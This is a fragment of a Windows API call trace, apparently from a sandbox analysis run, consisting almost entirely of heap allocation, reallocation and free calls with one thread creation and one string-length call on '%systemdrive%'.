	[0151.403] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5de208 | out: hHeap=0x5a0000) returned 1
	[0151.403] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x61ff18 | out: hHeap=0x5a0000) returned 1
	[0151.403] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5b5730 | out: hHeap=0x5a0000) returned 1
	[0151.403] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5b6310 | out: hHeap=0x5a0000) returned 1
	[0151.403] lstrlenW (lpString="%systemdrive%") returned 13
	[0151.403] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5dda98 | out: hHeap=0x5a0000) returned 1
	[0151.403] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5e5550 | out: hHeap=0x5a0000) returned 1
	[0151.403] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5de1a8 | out: hHeap=0x5a0000) returned 1
	[0151.403] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x2c) returned 0x5bd548
	[0151.403] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x2000) returned 0x620a00
	[0151.403] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4091f0, lpParameter=0x5e6f98, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x280
	[0151.404] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x10014) returned 0x63bf50
	[0151.404] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x10) returned 0x61ff60
	[0151.404] RtlReAllocateHeap (Heap=0x5a0000, Flags=0x0, Ptr=0x61ff60, Size=0x20) returned 0x5dd958
	[0151.404] RtlReAllocateHeap (Heap=0x5a0000, Flags=0x0, Ptr=0x5dd958, Size=0x40) returned 0x61f1f8
	[0151.404] RtlReAllocateHeap (Heap=0x5a0000, Flags=0x0, Ptr=0x61f1f8, Size=0x80) returned 0x5e5330
	[0151.404] RtlReAllocateHeap (Heap=0x5a0000, Flags=0x0, Ptr=0x5e5330, Size=0x100) returned 0x629d68
	[0151.404] RtlReAllocateHeap (Heap=0x5a0000, Flags=0x0, Ptr=0x629d68, Size=0x200) returned 0x62aad0
	[0151.405] RtlReAllocateHeap (Heap=0x5a0000, Flags=0x0, Ptr=0x62aad0, Size=0x400) returned 0x64bf70
	[0151.405] RtlReAllocateHeap (Heap=0x5a0000, Flags=0x0, Ptr=0x64bf70, Size=0x800) returned 0x64bf70
	[0151.405] RtlReAllocateHeap (Heap=0x5a0000, Flags=0x0, Ptr=0x64bf70, Size=0x1000) returned 0x64bf70
	[0151.405] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x10000) returned 0x5f6fb8
	[0151.405] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x10) returned 0x61fea0
	[0151.405] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xc) returned 0x61fd50
	[0151.405] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x4) returned 0x5de1a8
	[0151.405] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xc) returned 0x61fdb0
	[0151.405] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x4) returned 0x5de0b8
	[0151.405] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xa) returned 0x61fd98
	[0151.405] RtlReAllocateHeap (Heap=0x5a0000, Flags=0x0, Ptr=0x5de1a8, Size=0x8) returned 0x5de0e8
	[0151.405] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xa) returned 0x61fe88
	[0151.405] RtlReAllocateHeap (Heap=0x5a0000, Flags=0x0, Ptr=0x5de0e8, Size=0x10) returned 0x61ff30
	[0151.405] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xa) returned 0x620020
	[0151.405] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xa) returned 0x61fe70
	[0151.405] RtlReAllocateHeap (Heap=0x5a0000, Flags=0x0, Ptr=0x61ff30, Size=0x20) returned 0x5ddb60
	[0151.405] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xa) returned 0x61fd68
	[0151.405] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x8) returned 0x5de278
	[0151.405] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xe) returned 0x61ff78
	[0151.405] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xe) returned 0x61fe40
	[0151.405] RtlReAllocateHeap (Heap=0x5a0000, Flags=0x0, Ptr=0x5ddb60, Size=0x40) returned 0x61f480
	[0151.405] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xe) returned 0x61feb8
	[0151.405] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xe) returned 0x61ff90
	[0151.405] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xe) returned 0x61fd80
	[0151.405] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xe) returned 0x61ff60
	[0151.406] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xa) returned 0x61ffa8
	[0151.406] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xa) returned 0x61fee8
	[0151.406] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x8) returned 0x5de1a8
	[0151.406] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xa) returned 0x61ffc0
	[0151.406] RtlReAllocateHeap (Heap=0x5a0000, Flags=0x0, Ptr=0x61f480, Size=0x80) returned 0x5e5550
	[0151.406] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xa) returned 0x61fdc8
	[0151.406] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xa) returned 0x61fde0
	[0151.406] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xa) returned 0x61fdf8
	[0151.406] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xa) returned 0x61ffd8
	[0151.406] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xa) returned 0x620008
	[0151.406] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xc) returned 0x61fe10
	[0151.406] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xa) returned 0x61fed0
	[0151.406] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x8) returned 0x5de138
	[0151.406] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xa) returned 0x61ff00
	[0151.406] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xa) returned 0x61fe28
	[0151.406] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xc) returned 0x61fff0
	[0151.406] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xa) returned 0x61fd38
	[0151.406] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xc) returned 0x61fe58
	[0151.406] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xa) returned 0x61ff18
	[0151.406] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xc) returned 0x61ff30
	[0151.406] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xa) returned 0x6202c0
	[0151.406] RtlReAllocateHeap (Heap=0x5a0000, Flags=0x0, Ptr=0x5e5550, Size=0x100) returned 0x629948
	[0151.406] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xa) returned 0x620098
	[0151.406] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xa) returned 0x620260
	[0151.406] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xa) returned 0x6200b0
	[0151.406] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x10) returned 0x620320
	[0151.406] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xa) returned 0x6200c8
	[0151.406] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xa) returned 0x6201d0
	[0151.406] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x8) returned 0x5de258
	[0151.406] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xa) returned 0x620068
	[0151.406] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xa) returned 0x6202d8
	[0151.406] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xa) returned 0x6200e0
	[0151.406] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x6) returned 0x5de128
	[0151.406] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xa) returned 0x620158
	[0151.407] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xa) returned 0x6201e8
	[0151.407] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x8) returned 0x5de208
	[0151.407] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xa) returned 0x620248
	[0151.407] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xa) returned 0x620050
	[0151.407] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xc) returned 0x620170
	[0151.407] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xa) returned 0x620080
	[0151.407] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xa) returned 0x6200f8
	[0151.407] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xa) returned 0x620200
	[0151.407] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xe) returned 0x620218
	[0151.407] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xa) returned 0x620230
	[0151.407] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x10) returned 0x620038
	[0151.407] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xa) returned 0x620188
	[0151.407] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xa) returned 0x620110
	[0151.407] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xa) returned 0x6201a0
	[0151.407] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xa) returned 0x620128
	[0151.407] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x8) returned 0x5de248
	[0151.407] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xa) returned 0x6201b8
	[0151.407] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xa) returned 0x620278
	[0151.407] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xa) returned 0x620290
	[0151.407] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xa) returned 0x620308
	[0151.407] RtlReAllocateHeap (Heap=0x5a0000, Flags=0x0, Ptr=0x629948, Size=0x200) returned 0x62aad0
	[0151.407] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xa) returned 0x6202a8
	[0151.407] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x8) returned 0x5de268
	[0151.407] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xa) returned 0x6202f0
	[0151.407] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xa) returned 0x620140
	[0151.407] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xa) returned 0x6204d0
	[0151.407] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xa) returned 0x620428
	[0151.407] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xa) returned 0x6204a0
	[0151.407] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xa) returned 0x6203e0
	[0151.407] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xa) returned 0x6203c8
	[0151.407] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xa) returned 0x620578
	[0151.407] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xa) returned 0x6204e8
	[0151.407] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xc) returned 0x620500
	[0151.407] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xc) returned 0x620518
	[0151.408] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xa) returned 0x6203f8
	[0151.408] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xa) returned 0x6204b8
	[0151.408] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xc) returned 0x620530
	[0151.408] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xc) returned 0x620350
	[0151.408] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xa) returned 0x620380
	[0151.408] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xc) returned 0x620410
	[0151.408] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xc) returned 0x620398
	[0151.408] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xa) returned 0x620548
	[0151.408] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xa) returned 0x620440
	[0151.408] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xa) returned 0x620458
	[0151.408] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x8) returned 0x5de0e8
	[0151.408] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xa) returned 0x620470
	[0151.408] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xa) returned 0x620488
	[0151.408] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xa) returned 0x620560
	[0151.408] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x8) returned 0x5de338
	[0151.408] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xa) returned 0x620620
	[0151.408] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xc) returned 0x620368
	[0151.408] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xa) returned 0x620590
	[0151.408] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xa) returned 0x6203b0
	[0151.408] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xa) returned 0x620338
	[0151.408] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xa) returned 0x6205a8
	[0151.408] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xa) returned 0x6205c0
	[0151.408] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xa) returned 0x6205d8
	[0151.408] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xc) returned 0x6205f0
	[0151.408] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xc) returned 0x620608
	[0151.408] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xa) returned 0x620650
	[0151.408] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xa) returned 0x620890
	[0151.408] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xa) returned 0x620788
	[0151.408] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xc) returned 0x6207a0
	[0151.408] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xa) returned 0x620920
	[0151.408] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xa) returned 0x620680
	[0151.408] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xa) returned 0x6206c8
	[0151.408] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xa) returned 0x620758
	[0151.408] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xa) returned 0x620728
	[0151.408] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xa) returned 0x620818
	[0151.409] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xa) returned 0x620638
	[0151.409] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x8) returned 0x5b6e00
	[0151.409] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x6) returned 0x622c88
	[0151.409] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xa) returned 0x6207b8
	[0151.409] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xa) returned 0x620668
	[0151.409] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xa) returned 0x6208d8
	[0151.409] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xa) returned 0x6206e0
	[0151.409] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xa) returned 0x620848
	[0151.409] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xc) returned 0x6208a8
	[0151.409] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xa) returned 0x620860
	[0151.409] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xa) returned 0x620698
	[0151.409] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xa) returned 0x620770
	[0151.409] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xa) returned 0x6207d0
	[0151.409] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xc) returned 0x6206b0
	[0151.409] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xa) returned 0x6206f8
	[0151.409] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xa) returned 0x620710
	[0151.409] RtlReAllocateHeap (Heap=0x5a0000, Flags=0x0, Ptr=0x62aad0, Size=0x400) returned 0x622e10
	[0151.409] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xa) returned 0x620740
	[0151.409] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xa) returned 0x6208f0
	[0151.409] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xc) returned 0x620830
	[0151.409] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xa) returned 0x6207e8
	[0151.409] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xa) returned 0x620908
	[0151.409] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xa) returned 0x620878
	[0151.409] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xc) returned 0x6208c0
	[0151.409] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xa) returned 0x620800
	[0151.409] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xa) returned 0x620968
	[0151.409] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xa) returned 0x6209b0
	[0151.409] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x8) returned 0x622d68
	[0151.409] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xa) returned 0x6209c8
	[0151.409] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xc) returned 0x6209e0
	[0151.409] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xa) returned 0x620938
	[0151.409] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xa) returned 0x620980
	[0151.409] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xa) returned 0x620998
	[0151.409] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xa) returned 0x620950
	[0151.410] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xe) returned 0x61fba0
	[0151.410] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xa) returned 0x61fb28
	[0151.410] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xa) returned 0x61fa38
	[0151.410] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xa) returned 0x61fac8
	[0151.410] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xa) returned 0x61fb40
	[0151.410] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xa) returned 0x61fb88
	[0151.410] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xa) returned 0x61fca8
	[0151.410] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xa) returned 0x61fb58
	[0151.410] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xa) returned 0x61fb70
	[0151.410] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x8) returned 0x622dc8
	[0151.410] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xa) returned 0x61fa68
	[0151.410] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xa) returned 0x61fbb8
	[0151.410] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xa) returned 0x61fc00
	[0151.410] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xa) returned 0x61fcc0
	[0151.410] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xa) returned 0x61fbd0
	[0151.410] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xa) returned 0x61fa98
	[0151.410] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xa) returned 0x61fbe8
	[0151.410] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xa) returned 0x61fc90
	[0151.410] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xa) returned 0x61fc30
	[0151.410] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xe) returned 0x61fc18
	[0151.410] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xa) returned 0x61fd20
	[0151.410] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xe) returned 0x61fa50
	[0151.410] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xa) returned 0x61fc48
	[0151.410] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xa) returned 0x61fc78
	[0151.410] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xa) returned 0x61fc60
	[0151.410] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xa) returned 0x61fab0
	[0151.410] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xa) returned 0x61fa80
	[0151.410] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xc) returned 0x61fae0
	[0151.410] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xa) returned 0x61faf8
	[0151.410] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xa) returned 0x61fb10
	[0151.410] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xa) returned 0x61fcd8
	[0151.410] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xa) returned 0x61fcf0
	[0151.410] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xa) returned 0x61fd08
	[0151.410] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xa) returned 0x623c78
	[0151.411] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xa) returned 0x623d68
	[0151.411] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xa) returned 0x623c18
	[0151.411] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xa) returned 0x623bd0
	[0151.411] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xa) returned 0x623be8
	[0151.411] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xa) returned 0x623c30
	[0151.411] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xa) returned 0x623b88
	[0151.411] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xa) returned 0x623b70
	[0151.411] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xa) returned 0x623e40
	[0151.411] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xa) returned 0x623c48
	[0151.411] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xa) returned 0x623c60
	[0151.411] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xa) returned 0x623d38
	[0151.411] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x10) returned 0x623ca8
	[0151.411] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x12) returned 0x5b6070
	[0151.411] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xa) returned 0x623c90
	[0151.411] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xa) returned 0x623b58
	[0151.411] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xa) returned 0x623d50
	[0151.411] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xa) returned 0x623ba0
	[0151.411] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xa) returned 0x623cc0
	[0151.411] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xa) returned 0x623cd8
	[0151.411] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xa) returned 0x623cf0
	[0151.411] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xa) returned 0x623d80
	[0151.411] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xa) returned 0x623db0
	[0151.411] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xa) returned 0x623d08
	[0151.411] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xa) returned 0x623bb8
	[0151.411] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xa) returned 0x623d20
	[0151.411] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xa) returned 0x623d98
	[0151.411] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xa) returned 0x623e10
	[0151.411] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xa) returned 0x623c00
	[0151.411] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xa) returned 0x623e28
	[0151.411] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xa) returned 0x623dc8
	[0151.412] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xa) returned 0x623de0
	[0151.412] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xa) returned 0x623df8
	[0151.412] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xa) returned 0x624050
	[0151.412] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xc) returned 0x623fc0
	[0151.412] RtlReAllocateHeap (Heap=0x5a0000, Flags=0x0, Ptr=0x622e10, Size=0x800) returned 0x624220
	[0151.412] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x64bf70 | out: hHeap=0x5a0000) returned 1
	[0151.412] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x623978 | out: hHeap=0x5a0000) returned 1
	[0151.412] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x623a50 | out: hHeap=0x5a0000) returned 1
	[0151.412] RtlReAllocateHeap (Heap=0x5a0000, Flags=0x0, Ptr=0x6238d0, Size=0x20) returned 0x5dd8b8
	[0151.412] RtlReAllocateHeap (Heap=0x5a0000, Flags=0x0, Ptr=0x5dd8b8, Size=0x40) returned 0x61f090
	[0151.412] RtlReAllocateHeap (Heap=0x5a0000, Flags=0x0, Ptr=0x61f090, Size=0x80) returned 0x5e55d8
	[0151.412] RtlReAllocateHeap (Heap=0x5a0000, Flags=0x0, Ptr=0x622d98, Size=0x8) returned 0x622de8
	[0151.412] RtlReAllocateHeap (Heap=0x5a0000, Flags=0x0, Ptr=0x622de8, Size=0x10) returned 0x6238d0
	[0151.412] RtlReAllocateHeap (Heap=0x5a0000, Flags=0x0, Ptr=0x6238d0, Size=0x20) returned 0x5ddb10
